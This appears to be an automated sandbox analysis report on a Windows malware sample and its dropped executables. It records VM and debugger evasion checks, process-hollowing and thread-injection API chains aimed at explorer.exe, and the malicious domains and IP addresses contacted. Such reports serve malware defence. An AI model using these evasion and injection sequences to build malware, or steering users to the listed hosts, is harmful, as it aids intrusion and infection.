Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_23-17857

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: eIxMVDoQF3.exe, 00000001.00000002.332393869.0000000001FF0000.00000004.00000001.sdmp

Binary or memory string: ASWHOOKUR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_23-17855

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_23-18909
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_23-18909

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00406AA0		23_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00576CF0		23_2_00576CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

graph_23-18869

Source: C:\Windows\explorer.exe TID: 6184	Thread sleep count: 577 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6168	Thread sleep count: 240 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6192	Thread sleep count: 372 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6192	Thread sleep time: -37200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5148	Thread sleep count: 397 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7164	Thread sleep count: 186 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 316	Thread sleep count: 301 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 316	Thread sleep time: -30100s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1308	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe TID: 3396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe TID: 1716	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe TID: 5628	Thread sleep count: 479 > 30
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe TID: 5628	Thread sleep count: 1992 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 577	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 372	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 397	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Window / User API: threadDelayed 479
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Window / User API: threadDelayed 1992

Source: C:\Users\user\AppData\Local\Temp\F805.exe	API coverage: 2.5 %
Source: C:\Users\user\AppData\Local\Temp\B50.exe	API coverage: 6.3 %
Source: C:\Users\user\AppData\Local\Temp\743F.exe	API coverage: 6.4 %

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_00576CF0

23_2_00576CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E5C8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1547.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F6C0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3A08.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tvdcssmj.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1FD7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\27D7.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6CF.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Evaded block: after key decision			graph_23-18855
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	API call chain: ExitProcess graph end node	graph_0-20192
Source: C:\Users\user\AppData\Local\Temp\B50.exe	API call chain: ExitProcess graph end node	graph_23-18880
Source: C:\Users\user\AppData\Local\Temp\B50.exe	API call chain: ExitProcess graph end node	graph_23-17846
Source: C:\Users\user\AppData\Local\Temp\B50.exe	API call chain: ExitProcess graph end node	graph_23-17786

Source: explorer.exe, 0000000A.00000000.294200174.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.294310471.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000A.00000000.294200174.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000A.00000000.320463158.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.320463158.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: svchost.exe, 00000003.00000002.540856275.0000015E4EE02000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000012.00000002.406449988.000001994C089000.00000004.00000001.sdmp, svchost.exe, 00000012.00000002.406654094.000001994C0D5000.00000004.00000001.sdmp, svchost.exe, 00000012.00000002.406719122.000001994C0EB000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.409739302.0000000004F53000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.409630184.0000000004FBD000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.409067816.0000000004FBD000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000002.413976379.0000000004FBD000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000002.413788318.0000000004F53000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000A.00000000.294200174.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: svchost.exe, 00000003.00000002.541184831.0000015E4EE28000.00000004.00000001.sdmp, svchost.exe, 00000004.00000002.541242822.000001C48383E000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.541418484.000001EC17024000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.407410000.0000000004FBD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

24_2_00401D96

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_00419AC9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419AC9
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00409970
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00578A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00578A30
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_005714D0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_005712E0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00576090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00576090
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_00579930
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00579BC0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00579D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00579D90

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

0_2_0042D810

Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_00570042 push dword ptr fs:[00000030h]	14_2_00570042
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_007B58EE push dword ptr fs:[00000030h]	14_2_007B58EE
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004B0083 push dword ptr fs:[00000030h]	16_2_004B0083
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00401000 mov eax, dword ptr fs:[00000030h]	23_2_00401000
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_0040C180 mov eax, dword ptr fs:[00000030h]	23_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_0057092B mov eax, dword ptr fs:[00000030h]	23_2_0057092B
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00571250 mov eax, dword ptr fs:[00000030h]	23_2_00571250
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_0057C3D0 mov eax, dword ptr fs:[00000030h]	23_2_0057C3D0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00570D90 mov eax, dword ptr fs:[00000030h]	23_2_00570D90
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_0057092B mov eax, dword ptr fs:[00000030h]	24_2_0057092B
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_00570D90 mov eax, dword ptr fs:[00000030h]	24_2_00570D90

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 0_2_0043B860 IsDebuggerPresent,DebuggerProbe,

0_2_0043B860

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

23_2_004048D0

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 0_2_0042CC12 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CC12

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

0_2_00419D12

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 1_1_004027ED LdrLoadDll,

1_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_0043AC20 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043AC20
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_0042BD50 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BD50
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_00422D00 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422D00
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_004285B0 SetUnhandledExceptionFilter,	0_2_004285B0
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	24_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: E5C8.exe.10.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\rwjfsvd	Memory written: C:\Users\user\AppData\Roaming\rwjfsvd base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Memory written: C:\Users\user\AppData\Local\Temp\7D0A.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\rwjfsvd

Code function: 14_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

14_2_00570110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Thread created: C:\Windows\explorer.exe EIP: 2E21930			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Thread created: unknown EIP: 5DE1930			Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: 7D0A.exe.10.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 7D0A.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
